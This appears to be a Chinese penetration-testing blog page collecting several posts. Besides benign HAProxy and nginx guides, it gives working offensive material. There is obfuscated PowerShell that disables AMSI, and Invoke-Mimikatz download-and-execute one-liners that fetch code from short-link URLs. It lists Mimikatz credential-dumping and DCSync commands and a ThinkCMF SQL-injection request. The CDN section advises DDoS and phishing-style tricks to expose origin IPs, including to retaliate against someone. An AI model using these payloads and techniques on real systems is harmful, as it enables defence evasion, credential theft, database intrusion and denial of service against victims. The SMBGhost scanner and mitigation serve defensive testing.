Debian10 x64 build make install Haproxy v2.2.0-在Debian10 64位系统编译安装最新版 Haproxy v2.2.0版本 Linux

haproxy是一个由C语言编写主要应用于高可用性和负载均衡的应用层代理软件。

Haproxy.png 

今天需要用到haproxy,但是无奈通过系统 Debian10 自带的软件源安装的版本太低了 apt install -y haproxy ;故自行前往官网:http://www.haproxy.org/ 

查看最新版的haproxy,目前最新版本是 2.2.0 .

那么使用 wget 先下载到本地:wget http://www.haproxy.org/download/2.2/src/haproxy-2.2.0.tar.gz

解压:

tar zxf haproxy-2.2.0.tar.gz

进入解压后的目录:

cd haproxy-2.2.0/


执行 make 准备进行编译,但是出错:

Due to too many reports of suboptimized setups, building without
specifying the target is no longer supported. Please specify the
target OS in the TARGET variable, in the following form:

   make TARGET=xxx

Please choose the target among the following supported list :

   linux-glibc, linux-glibc-legacy, linux-musl, solaris, freebsd, openbsd,
   netbsd, cygwin, haiku, aix51, aix52, aix72-gcc, osx, generic, custom

Use "generic" if you don't want any optimization, "custom" if you
want to precisely tweak every option, or choose the target which
matches your OS the most in order to gain the maximum performance
out of it. Please check the Makefile in case of doubts.

Makefile:761: recipe for target 'all' failed
make: *** [all] Error 1



根据提示,需要设置编译的 target 。

我们可以修改目录下的 Makefile 里面的 TARGET 或者是在 make 命令后加上:make TARGET=linux-glibc 即可:

[root@vmware haproxy-2.2.0]# make TARGET=linux-glibc
  CC      src/ev_poll.o
  CC      src/ev_epoll.o
  CC      src/namespace.o
  CC      src/mux_fcgi.o
  CC      src/mux_h1.o
  CC      src/mux_h2.o
  CC      src/backend.o
  CC      src/cfgparse.o
  CC      src/cli.o
  CC      src/cfgparse-listen.o
  CC      src/stats.o
  CC      src/http_ana.o
  CC      src/stream.o
  CC      src/check.o
  CC      src/sample.o
  CC      src/tools.o
  CC      src/server.o
  CC      src/listener.o
  CC      src/tcpcheck.o
  CC      src/pattern.o
  CC      src/log.o
  CC      src/stick_table.o
  CC      src/flt_spoe.o
  CC      src/stream_interface.o
  CC      src/filters.o
  CC      src/http_fetch.o
  CC      src/map.o
  CC      src/session.o
  CC      src/sink.o
  CC      src/flt_http_comp.o
  CC      src/debug.o
  CC      src/tcp_rules.o
  CC      src/haproxy.o
  CC      src/peers.o
  CC      src/flt_trace.o
  CC      src/queue.o
  CC      src/proxy.o
  CC      src/http_htx.o
  CC      src/dns.o
  CC      src/raw_sock.o
  CC      src/pool.o
  CC      src/http_act.o
  CC      src/http_rules.o
  CC      src/compression.o
  CC      src/cfgparse-global.o
  CC      src/payload.o
  CC      src/signal.o
  CC      src/activity.o
  CC      src/mworker.o
  CC      src/cache.o
  CC      src/proto_uxst.o
  CC      src/lb_chash.o
  CC      src/connection.o
  CC      src/proto_tcp.o
  CC      src/http_conv.o
  CC      src/arg.o
  CC      src/lb_fas.o
  CC      src/xprt_handshake.o
  CC      src/fcgi-app.o
  CC      src/applet.o
  CC      src/acl.o
  CC      src/task.o
  CC      src/ring.o
  CC      src/vars.o
  CC      src/trace.o
  CC      src/mux_pt.o
  CC      src/xxhash.o
  CC      src/mworker-prog.o
  CC      src/h1_htx.o
  CC      src/frontend.o
  CC      src/extcheck.o
  CC      src/channel.o
  CC      src/action.o
  CC      src/mailers.o
  CC      src/proto_sockpair.o
  CC      src/ebmbtree.o
  CC      src/thread.o
  CC      src/lb_fwrr.o
  CC      src/time.o
  CC      src/regex.o
  CC      src/lb_fwlc.o
  CC      src/htx.o
  CC      src/h2.o
  CC      src/hpack-tbl.o
  CC      src/lru.o
  CC      src/wdt.o
  CC      src/lb_map.o
  CC      src/eb32sctree.o
  CC      src/ebistree.o
  CC      src/h1.o
  CC      src/sha1.o
  CC      src/http.o
  CC      src/fd.o
  CC      src/ev_select.o
  CC      src/chunk.o
  CC      src/hash.o
  CC      src/hpack-dec.o
  CC      src/freq_ctr.o
  CC      src/http_acl.o
  CC      src/dynbuf.o
  CC      src/uri_auth.o
  CC      src/protocol.o
  CC      src/auth.o
  CC      src/ebsttree.o
  CC      src/pipe.o
  CC      src/hpack-enc.o
  CC      src/fcgi.o
  CC      src/eb64tree.o
  CC      src/dict.o
  CC      src/shctx.o
  CC      src/ebimtree.o
  CC      src/eb32tree.o
  CC      src/ebtree.o
  CC      src/dgram.o
  CC      src/hpack-huff.o
  CC      src/base64.o
  CC      src/version.o
  LD      haproxy



注:如果失败,请注意查看机器是否安装 lua 环境,命令行执行 lua -v 如果有显示版本就是有安装,没用就自行安装,这里以本机为例:apt install -y lua5.3 

编译成功后,直接执行 make install 即可安装好 haproxy :

[root@vmware haproxy-2.2.0]# make install
'haproxy' -> '/usr/local/sbin/haproxy'
'doc/haproxy.1' -> '/usr/local/share/man/man1/haproxy.1'
install: creating directory '/usr/local/doc'
install: creating directory '/usr/local/doc/haproxy'
'doc/configuration.txt' -> '/usr/local/doc/haproxy/configuration.txt'
'doc/management.txt' -> '/usr/local/doc/haproxy/management.txt'
'doc/proxy-protocol.txt' -> '/usr/local/doc/haproxy/proxy-protocol.txt'
'doc/seamless_reload.txt' -> '/usr/local/doc/haproxy/seamless_reload.txt'
'doc/architecture.txt' -> '/usr/local/doc/haproxy/architecture.txt'
'doc/peers-v2.0.txt' -> '/usr/local/doc/haproxy/peers-v2.0.txt'
'doc/regression-testing.txt' -> '/usr/local/doc/haproxy/regression-testing.txt'
'doc/cookie-options.txt' -> '/usr/local/doc/haproxy/cookie-options.txt'
'doc/lua.txt' -> '/usr/local/doc/haproxy/lua.txt'
'doc/WURFL-device-detection.txt' -> '/usr/local/doc/haproxy/WURFL-device-detection.txt'
'doc/linux-syn-cookies.txt' -> '/usr/local/doc/haproxy/linux-syn-cookies.txt'
'doc/SOCKS4.protocol.txt' -> '/usr/local/doc/haproxy/SOCKS4.protocol.txt'
'doc/network-namespaces.txt' -> '/usr/local/doc/haproxy/network-namespaces.txt'
'doc/DeviceAtlas-device-detection.txt' -> '/usr/local/doc/haproxy/DeviceAtlas-device-detection.txt'
'doc/51Degrees-device-detection.txt' -> '/usr/local/doc/haproxy/51Degrees-device-detection.txt'
'doc/netscaler-client-ip-insertion-protocol.txt' -> '/usr/local/doc/haproxy/netscaler-client-ip-insertion-protocol.txt'
'doc/peers.txt' -> '/usr/local/doc/haproxy/peers.txt'
'doc/close-options.txt' -> '/usr/local/doc/haproxy/close-options.txt'
'doc/SPOE.txt' -> '/usr/local/doc/haproxy/SPOE.txt'
'doc/intro.txt' -> '/usr/local/doc/haproxy/intro.txt'
[root@vmware haproxy-2.2.0]# haproxy -v
HA-Proxy version 2.2.0 2020/07/07 - https://haproxy.org/
Status: long-term supported branch - will stop receiving fixes around Q2 2025.
Known bugs: http://www.haproxy.org/bugs/bugs-2.2.0.html
Running on: Linux 4.18.0-80.7.1.el8_0.x86_64 #1 SMP Sat Aug 3 15:14:00 UTC 2019 x86_64
[root@vmware haproxy-2.2.0]#

执行 haproxy -v 可以正确显示 版本号 2.2.0 即表明安装成功。

至于其 haproxy 的配置,根据业务需要,自行配置。Google上一大把。




admin 发布于  2020-7-16 16:16 

绕过AMSI执行powershell脚本 渗透测试

简单的演示下从老外哪里学来的bypass AMSI 的姿势,看下效果图: 

1.jpg

 

绕过AMSI执行powershell脚本

AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。

在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代工具、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。

正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,介绍了一种新的绕过方法。

关键powershell代码如下:

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') 
$h="4456625220575263174452554847" 
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " 
$b =$a.GetField($s,'NonPublic,Static') $b.SetValue($null,$true)

效果如图:
AMSI_TN_bypass

代码来自:https://pastebin.com/sQFWANwr

参考文章:https://www.anquanke.com/post/id/180281


admin 发布于  2020-7-2 23:12 

更新 Invoke-Mimikatz.ps1 中的 Mimikatz 版本为最新 2.2.0 20200519 版本 技术文章

shotpic_2020-06-24_12-26-38.png



invoke-mimikatz是什么?invoke-mimikatz是powersploit渗透测试套装中的一个powershell版本的mimikatz工具,用来抓取windows操作系统中的密码。

但是其内置的mimikatz版本过低,导致在实际使用中会多多少少的有一些问题。



通过查看 https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 脚本内容知道 $PEBytes64 和 $PEBytes32 变量,应该是把 Mimikatz 的两个版本的EXE文件进行base64编码.

那就只替换最新的试试,使用 python3 替换完成更新代码 update.py 如下: 

import fileinput
import base64

with open("./Win32/mimikatz.exe", "rb") as f:
    win32 = base64.b64encode(f.read()).decode()

with open("./x64/mimikatz.exe", "rb") as f:
    x64 = base64.b64encode(f.read()).decode()

for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):

  line = line.rstrip('\r\n')
  if "$PEBytes64 = " in line:
    print("$PEBytes64 = '" + x64 + "'")
  elif "$PEBytes32 = " in line:
    print("$PEBytes32 = '" + win32 + "'")
  else:
    print(line)

将 update.py 脚本和 Invoke-Mimikatz.ps1 放在 mimikatz_trunk 解压后的同目录。执行即可更新完毕。

更新后的效果如首图所示,从 Mimikatz 2.1 2016年的版本更新到最新的 2.2.0 20200519 Windows 10 2004 (build 19041) 版本。

顺带提一下:Mimikatz 使用时需要高权限,至少是 administrator 权限 Mimikatz 抓取密码的命令需要 system 权限,可以先进行提权,

基本使用:

privilege::debug  //提升权限(从administrator提升到system)如果是system权限执行,可省略



抓取hash:

sekurlsa::logonpasswords   //获取当前在线用户的明文密码(需要高权限运行)

lsadump::lsa /patch   //获取当前此计算机存在过用户的NTLMHASH



mimikatz 的其他命令:

lsadump::sam SYSTEM.hiv //导出所有用户口令 使用Volue Shadow Copy获得SYSTEM、SAM备份

通过内存文件获取口令

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

拉取 rd.adsecurity.org 域中的 KRBTGT 用户帐户的密码数据

lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt

拉取 lab.adsecurity.org 域中 ADSDC03 域控制器的计算机帐户的密码数据

lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$



msf使用 mimikatz:

在meterpreter中加载mimikatz模块

load mimikatz



然后help,查看参数信息:

kerberos          Attempt to retrieve kerberos creds

livessp           Attempt to retrieve livessp creds

mimikatz_command  Run a custom command

msv               Attempt to retrieve msv creds (hashes)

ssp               Attempt to retrieve ssp creds

tspkg             Attempt to retrieve tspkg creds

wdigest           Attempt to retrieve wdigest creds



常用命令为kerberos和msv。



无文件落地执行 mimikatz 

在Windows server 2008 及之前 可以使用如下命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/SdU3mjdm'); Invoke-Mimikatz -DumpCreds" 

在Windows server 2009 及之后,可以使用如下命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/wv7uNQrc'); Invoke-Mimikatz"

然后抓取hash即可抓取 NTLM。

注意,目前上面这个新版的脚本来自我的 GitHub 仓库: https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/Invoke-Mimikatz.ps1

各位大佬点个star啊!里面收藏了我所看到过的觉得有价值的渗透测试工具,POC,Android渗透测试、脱壳相关的文章。

目前会有 BUG ,细心的可以看到图上的第二个命令行窗口。欢迎能修复BUG的大佬可以 Pull !



参考:鸿鹄实验室公众号文章-渗透tips---->更新你的invoke-mimikatz


admin 发布于  2020-6-24 12:27 

CVE-2020-0796:疑似微软SMBv3协议“蠕虫级”漏洞的检测与修复 网络安全

0x1:背景

2020年3月11日,海外厂家发布安全规则通告,通告中描述了一处微软SMBv3协议的内存破坏漏洞,编号CVE-2020-0796,并表示该漏洞无需授权验证即可被远程利用,可能形成蠕虫级漏洞

0x2:受影响版本

Windows 10版本1903(用于32位系统)

Windows 10版本1903(用于基于ARM64的系统)

Windows 10版本1903(用于基于x64的系统)

Windows 10版本1909(用于32位系统)

Windows 10版本1909(用于基于ARM64的系统)

Windows 10版本1909(用于)基于x64的系统

Windows Server 1903版(服务器核心安装)

Windows Server 1909版(服务器核心安装)

0x3:漏洞检测复现


CVE-2020–0796-Scanner.png

如上图所示,在未停用 SMBv3 中的压缩功能时,我的测试机器win10 1909 18363.719是存在漏洞的,在powershell停用 SMBv3 中的压缩功能后,再次检测就不存在了,暂时只有这个缓解措施,还没有补丁。

0x4:漏洞检测工具

python版本

来源:https://github.com/ollypwn/SMBGhost/blob/master/scanner.py  

import socket
import struct
import sys

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
sock = socket.socket(socket.AF_INET)
sock.settimeout(3)
sock.connect(( sys.argv[1],  445 ))
sock.send(pkt)

nb, = struct.unpack(">I", sock.recv(4))
res = sock.recv(nb)

if not res[68:70] == b"\x11\x03":
    exit("Not vulnerable.")
if not res[70:72] == b"\x02\x00":
    exit("Not vulnerable.")

exit("Vulnerable.")





nmap版本:

#!/bin/bash
if [ $# -eq 0 ]
  then
    echo $'Usage:\n\tcheck-smb-v3.11.sh TARGET_IP_or_CIDR {Target Specification - Nmap}'
    exit 1
fi

echo "Checking if there's SMB v3.11 in" $1 "..."

nmap -p445 --script smb-protocols -Pn -n $1 | grep -P '\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | tr 'Nmap scan report for' '@' | tr "@" "\n" | tr '|' ' ' | tr '_' ' ' | grep -oP '\d+\.\d+\.\d+\.\d+'

if [[ $? != 0 ]]; then
    echo "There's no SMB v3.11"
fi


0x5:漏洞缓解措施

powershell 中运行如下命令:

# 停用
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
# 恢复
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

0x6:漏洞修复

微软昨日发布了更新补丁,下载地址:

https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762

也可以自行在Windows的更新管理界面手动更新,也可以更新下载补丁.


admin 发布于  2020-3-12 11:18 

解决nginx 反代 tomcat 应用不能获取到正确域名 技术文章

今天在帮朋友迁移部署tomcat应用得时候遇到了这么个问题:原来是在Windows服务器上直接使用tomcat部署到80端口的,新机器是Linux+宝塔面板,要是直接部署到80端口,其他网站或者nginx这类的就只能换端口,很是不方便,我就建议她使用nginx反代tomcat应用,那么问题就来了,我不是第一次使用nginx反代,但是之前都是反代后端的网络应用,不存在这些问题,使用宝塔添加了网站后,把应用上传到tomcat的webapps目录下,名称为shop,在网站设置启用tomcat,但是测试的时候就发现后端不能获得网站使用者正确的请求域名,获取的是本地的,http://127.0.0.1:8080/shop/xxxxxx,导致出现一些bug,返回的路径是本地的

后端返回的url信息.png

经过初略阅读+搜索应用源代码,找到了关键代码:

程序里的request.getServerName().png 

想吐槽一下这个程序员,不合格!!!这都9102年了,判断居然没有443???WTF!!!不让程序使用SSL???什么操作。。。

先说一下这个 request.getServerName() ,根据API上写的:

Reconstructs the URL the client used to make the request. The returned URL contains a protocol, server name, port number, and server path, but it does not include query string parameters. 

也就是说, getRequestURL() 输出的是不带query string的路经(含协议 端口 server path等信息).

并且,还发现:

request.getScheme()  //总是 http,而不是实际的http或https  
request.isSecure()  //总是false(因为总是http)  
request.getRemoteAddr()  //总是 nginx 请求的 IP,而不是用户的IP  
request.getRequestURL()  //总是 nginx 请求的URL 而不是用户实际请求的 URL  
response.sendRedirect( 相对url )  //总是重定向到 http 上 (因为认为当前是 http 请求) 



接下来就该批斗宝塔了!

看看默认的启用tomcat的配置里面没有 proxy_set_header Host $host; 

最关键的就是没有这个,导致后端的Java程序的 request.getServerName() 获取不到正确的域名!

所以解决办法也简单,那就是在你的反代location里面加上 proxy_set_header Host $host;  后端就可以正确获取到当前的浏览器域名了。完事儿。



最后说一下,如果后端不是我上面说的那个不合格的程序员写的没有判断HTTPS的话,只需要在location里面添加 
proxy_set_header X-Forwarded-Proto $scheme; 即可正确处理HTTPS了。



日常踩坑记录。。。



参考:

https://www.cnblogs.com/interdrp/p/4881785.html

https://blog.csdn.net/tpkey/article/details/18550039

标签: nginx Java

admin 发布于  2019-11-28 16:14 

配合chrome浏览器console解密一段JSFuck代码["\x66\x69\x6c\x74\x65\x72"] 技术文章

在测试某个项目的时候,发现一段JavaScript代码,省略不重要的部分如下:

// 原内容如下,只知道有个正则

['mmh']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['mmh'] + [])[

    "\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'][

    '\x61\x70\x70\x6c\x79'](null,

    "33s102Y117y110O99L116H105n111u110Z40g41U123u102m117c110M99m116T105y111d110"

        '\x73\x70\x6c\x69\x74'
)))('mmh');

// 在JavaScript中对于\x66这种开头的,\x代表这是一个16进制,直接在console里面打印出来就ok

// console.log('\x66\x69\x6c\x74\x65\x72') => filter

// 然后依次打印所有的类似字节即可得到如下转码后的JavaScript代码

// 如果你到这里不知道如何下手的话,怎么办?搜索啊!Google搜索以下 XXXX是什么 就有结果了

// 或者把全部\x66这种解密后得到的相关字符串去搜索就有结果了

jsfuck对照表.png

// 下面看一下jsfuck对照表,然后解密

// false       =>  ![]

// true        =>  !![]

// undefined   =>  [][[]]

// NaN         =>  +[![]]

// 0           =>  +[]

// 1           =>  +!+[]

// 2           =>  !+[]+!+[]

// 10          =>  [+!+[]]+[+[]]

// Array       =>  []

// Number      =>  +[]

// String      =>  []+[]

// Boolean     =>  ![]

// Function    =>  []["filter"]

// eval        =>  []["filter"]"constructor"()

// window      =>  []["filter"]["constructor"]("return this")()

// 解码后的代码如下,为了节省字符,使用mrxn123代替代码中的超长字符串

['mmh']["filter"]["constructor"](((['mmh'] + [])["constructor"]['fromCharCode']'apply'))('mmh');

// 根据jsfuck对照表,我们去掉mmh,这样就是熟悉的原滋原味的jsfuck格式的代码了

[]["filter"]["constructor"]((([] + [])["constructor"]['fromCharCode']'apply'))();

// 根据eval对照[]["filter"]"constructor"(),我们只需要把code部分代码直接console.log()出来就好

console.log(((([] + [])["constructor"]['fromCharCode']'apply')));

// 输出:{

console.log测试.png

// 同样的姿势将开始用mrxn123替换掉的字符串替换回去,回车,OK!JavaScript源码就出现在控制台了

jsfuck解密后源码.png 
注意:上面的步骤中,替换需要去掉原内容中的空格,不然会报错。

admin 发布于  2019-11-16 11:05 

寻找CDN背后的真实IP方式总结之2019完结篇 技术文章

注:总共两篇文章,第一篇文章来自信安,第二篇来自 WhITECat。我这里只是总结一下,方便自己查看,不用每次都去翻好几篇文章,如果两位原作不允许,随时删除。

第一篇:绕过 CDN 寻找真实 IP 地址的各种姿势

个人觉得,绕过 CDN 去寻找主机的真实 ip,更容易能寻找到企业网络的薄弱地带,所以 Bypass CDN 也就变成了至关重要的一点。

0x01 常见 Bypass 方法

域名搜集

由于成本问题,可能某些厂商并不会将所有的子域名都部署 CDN,所以如果我们能尽量的搜集子域名,或许可以找到一些没有部署 CDN 的子域名,拿到某些服务器的真实 ip/ 段

然后关于子域名搜集的方式很多,就不一一介绍了,我平时主要是从这几个方面搜集子域名:

1、SSL 证书

2、爆破

3、Google Hacking

4、同邮箱注册人

4、DNS 域传送

5、页面 JS 搜集

6、网络空间引擎



工具也有很多厉害的,平时我一般使用 OneForALL + ESD + JSfinder 来进行搜集,(ESD 可以加载 layer 的字典,很好用)



查询 DNS 历史解析记录

常常服务器在解析到 CDN 服务前,会解析真实 ip,如果历史未删除,就可能找到

常用网站: 



http://viewdns.info/

https://x.threatbook.cn/

http://www.17ce.com/

https://dnsdb.io/zh-cn/

https://securitytrails.com/

http://www.ip138.com/

https://github.com/vincentcox/bypass-firewalls-by-DNS-history

MX 记录(邮件探测)

这个很简单,如果目标系统有发件功能,通常在注册用户/找回密码等地方,通过注册确认、验证码等系统发来的邮件进行查看邮件原文即可查看发件IP地址。

SSL 证书探测

我们可以利用空间引擎进行 SSL 证书探测

443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.baidu.com

再放一个搜集证书的网站:



https://crt.sh

一个小脚本,可以快速搜集证书


-- coding: utf-8 --

@Time    : 2019-10-08 22:51

@Author  : Patrilic

@FileName: SSL_subdomain.py

@Software: PyCharm



import requests

import re



TIME_OUT = 60

def get_SSL(domain):

    domains = []

    url = 'https://crt.sh/?q=%25.{}'.format(domain)

    response = requests.get(url,timeout=TIME_OUT)

    # print(response.text)

    ssl = re.findall("<TD>(.*?).{}</TD>".format(domain),response.text)

    for i in ssl:

        i += '.' + domain

        domains.append(i)

    print(domains)



if name == 'main':

    get_SSL("baidu.com")



还有一种方式,就是搜集 SSL 证书 Hash,然后遍历 ip 去查询证书 hash,如果匹配到相同的,证明这个 ip 就是那个 域名同根证书的服务器真实 ip

简单来说,就是遍历 0.0.0.0/0:443,通过 ip 连接 https 时,会显示证书

当然,也可以用 censys 等引擎

偏远地区服务器访问

在偏远地区的服务器访问时,可能不会访问到 CDN 节点,而是直接访问服务器真实 ip

所以我们可以搞一个偏远地区的代理池,来访问目标域名,有概率就可以拿到真实 ip

也就是平常说的多地 Ping

favicon_hash 匹配

利用 shodan 的 http.favicon.hash 语法,来匹配 icon 的 hash 值, 直接推:

https://github.com/Ridter/get_ip_by_ico/blob/master/get_ip_by_ico.py

CloudFlare Bypass

免费版的 cf,我们可以通过 DDOS 来消耗对方的流量,只需要把流量打光,就会回滚到原始 ip

还有利用 cloudflare 的改 host 返回示例:

https://blog.detectify.com/2019/07/31/bypassing-cloudflare-waf-with-the-origin-server-ip-address/

里面给了详细的介绍,我们可以通过 HOST 来判断是否是真实 ip, 具体看文章即可

奇特的 ping

比如可能有些地方,使用的 CDN 都是以 www.xxx.edu.cn,例如 www.cuit.edu.cn,www.jwc.cuit.edu.cn

可能去掉前缀的 www,就可能绕过 CDN 了,猜测应该是类似于 Apache VirtualHost, 可参考

https://httpd.apache.org/docs/2.4/en/vhosts/examples.html

例如对WWW域名和根域名(不带WWW)分别进行PING,结果有可能不同。

其实是 ping 了 www.xxx.xxx.cn 和 xxx.xxx.cn,这样就可以绕过 CDN 的检测。

利用老域名

在换新域名时,常常将 CDN 部署到新的域名上,而老域名由于没过期,可能未使用 CDN,然后就可以直接获取服务器真实 ip。

例如 patrilic.top > patrilic.com

域名更新时,可能老域名同时解析到真实服务器,但是没有部署 CDN

这个可以通过搜集域名备案的邮箱去反查,可能会有意外收获

暴力匹配

找到目标服务器 IP 段后,可以直接进行暴力匹配 ,使用 masscan 扫描 HTTP banner,然后匹配到目标域名的相同 banner

最后是 DDos/ 社工 CDN 平台等

0x02 其他方法

phpinfo.php 这类探针

ssrf,文件上传等漏洞

略..



第二篇文章:“最后”的Bypass CDN 查找网站真实IP

注:其实与第一篇有重复的的地方,请自行斟酌查看。

0x00起源~

查找网站真实IP过程中我们会经常用到一些Bypass CDN的手法,而Bypass CDN的常见姿势,之前看到过“信安之路”的某位大佬总结的挺好的,于是和小伙伴们又专门的去学习了一波,然后决定将学习心得归结于文字,以便于记录和复习。

0x01判断是否存在CDN

       查找网站真实IP的第一步是先查看当前站点是否部署了CDN,而较为简单快捷的方式就是通过本地Nslookup查询目标站点的DNS记录,若存在CDN,则返回CDN服务器的地址,若不存在CDN,则返回的单个IP地址,我们认为它就是目标站点的真实IP。

除了使用nslookup,还可以通过第三方站点的DNS解析记录或者多地ping的方式去判断是否存在CDN。判断CDN只是个开始,不加赘述。。。

小伙伴-胡大毛的www法

以前用CDN的时候有个习惯,只让WWW域名使用cdn,秃域名不适用,为的是在维护网站时更方便,不用等cdn缓存。所以试着把目标网站的www去掉,ping一下看ip是不是变了,您别说,这个方法还真是屡用不爽。

小伙伴-刘正经的二级域名法

目标站点一般不会把所有的二级域名放cdn上,比如试验性质的二级域名。Google site一下目标的域名,看有没有二级域名出现,挨个排查,确定了没使用cdn的二级域名后,本地将目标域名绑定到同ip,能访问就说明目标站与此二级域名在同一个服务器上。不在同一服务器也可能在同C段,扫描C段所有开80端口的ip,挨个试。如果google搜不到也不代表没有,我们拿常见的二级域名构造一个字典,猜出它的二级域名。比如mail、cache、img。

查询子域名工具:layer子域名挖掘机 subdomin

扫描c段好用工具:zmap(https://www.cnblogs.com/China-Waukee/p/9596790.html)

还是“刘正经”的nslookup法

查询域名的NS记录,其域名记录中的MX记录,TXT记录等很有可能指向的是真实ip或同C段服务器。

注:域名解析--什么是A记录、别名记录(CNAME)、MX记录、TXT记录、NS记录(https://www.22.cn/help_34.html



小伙伴-胡小毛的工具法

这个工具http://toolbar.netcraft.com据说会记录网站的ip变化情况,通过目标网站的历史ip地址就可以找到真实ip。没亲自测试,想必不是所有的网站都能查到。

例:http://toolbar.netcraft.com/site_report?url=http://www.waitalone.cn



小伙伴-狄弟弟的目标敏感文件泄露

也许目标服务器上存在一些泄露的敏感文件中会告诉我们网站的IP,另外就是如phpinfo之类的探针。



小伙伴-匿名H的墙外法

很多国内的CDN没有节点对国外服务,国外的请求会直接指向真实ip。有人说用国外NS和或开国外VPN,但这样成功率太低了。我的方法是用国外的多节点ping工具,例如just-ping,全世界几十个节点ping目标域名,很有可能找到真实ip。

域名:http://www.just-ping.com/



小伙伴-不靠谱的从CDN入手法

无论是用社工还是其他手段,反正是拿到了目标网站管理员在CDN的账号了,此时就可以自己在CDN的配置中找到网站的真实IP了。此法着实适用于“小伙伴-不靠谱”使用。



还是“不靠谱”的钓鱼法

不管网站怎么CDN,其向用户发的邮件一般都是从自己服务器发出来的。以wordpress为例,假如我要报复一个来我这捣乱的坏蛋,坏蛋使用了 CDN,我要找到它的真实ip以便DDOS他。我的方法是在他博客上留言,再自己换个名回复自己,然后收到他的留言提醒邮件,就能知道发邮件的服务器ip 了。如果他没开提醒功能,那就试试他是不是开启了注册功能,wordpress默认是用邮件方式发密码的。



0x03“最后”的总结

      小伙伴“最后”来了一波总结:



百因必有果,你的报应就是我~o~



万剑归宗不是火,万法合一才是果~o~



小伙伴们总结了一波又一波方法,“最后”表示不太行,方法很多,每一个看起来都很实用,但实战告诉我们,只有把这些方法都灵活贯通的结合使用才能达到最大的效果。“最后”以胡大毛的www法结合查找网站历史DNS解析记录的方法查找某个站点的真实IP的举例如下:



某站点www.xxx.com的当前解析显示有多个IP,但历史解析仅有一个IP,可以猜测该IP可能是真实IP。



“最后”认为除了需要将方法结合使用之外,辅助工具也是不可缺少的,于是又整理了一波常用的工具和查询平台如下:



    1、查询SSL证书或历史DNS记录



https://censys.io/certificates/&nbsp;  ###通过SSL证书查询真实IP(推荐)



https://site.ip138.com/&nbsp;  ###DNS、IP等查询



http://ping.chinaz.com/&nbsp;  ###多地ping



http://ping.aizhan.com/&nbsp;  ###多地ping



https://myssl.com/dns_check.html#dns_check&nbsp;  ###DNS查询



https://securitytrails.com/&nbsp;  ### DNS查询



https://dnsdb.io/zh-cn/&nbsp;   ###DNS查询



https://x.threatbook.cn/&nbsp;  ###微步在线



http://toolbar.netcraft.com/site_report?url=&nbsp;  ###在线域名信息查询



http://viewdns.info/&nbsp;  ###DNS、IP等查询



https://tools.ipip.net/cdn.php&nbsp;  ###CDN查 询IP



    2、相关工具



子域名查询工具:layer子域名挖掘机,dirbrute,Oneforal(下载链接:https://github.com/shmilylty/OneForAll,推荐



站点banner信息获取:Zmap,masscan等。



参考链接

https://github.com/shmilylty/OneForAll



https://github.com/FeeiCN/ESD



https://github.com/Threezh1/JSFinder



https://github.com/AI0TSec/blog/issues/8



https://www.4hou.com/tools/8251.html



https://www.freebuf.com/sectool/112583.html



admin 发布于  2019-10-30 05:35 

ThinkCMF5.x以下漏洞合集 渗透测试

需要普通用户权限,默认可注册
paylaod:

POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
Host: localhost
Connection: close
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+- 

还有以下可以测试:

post:
term:123
post[post_title]:123
post[post_title]:aaa
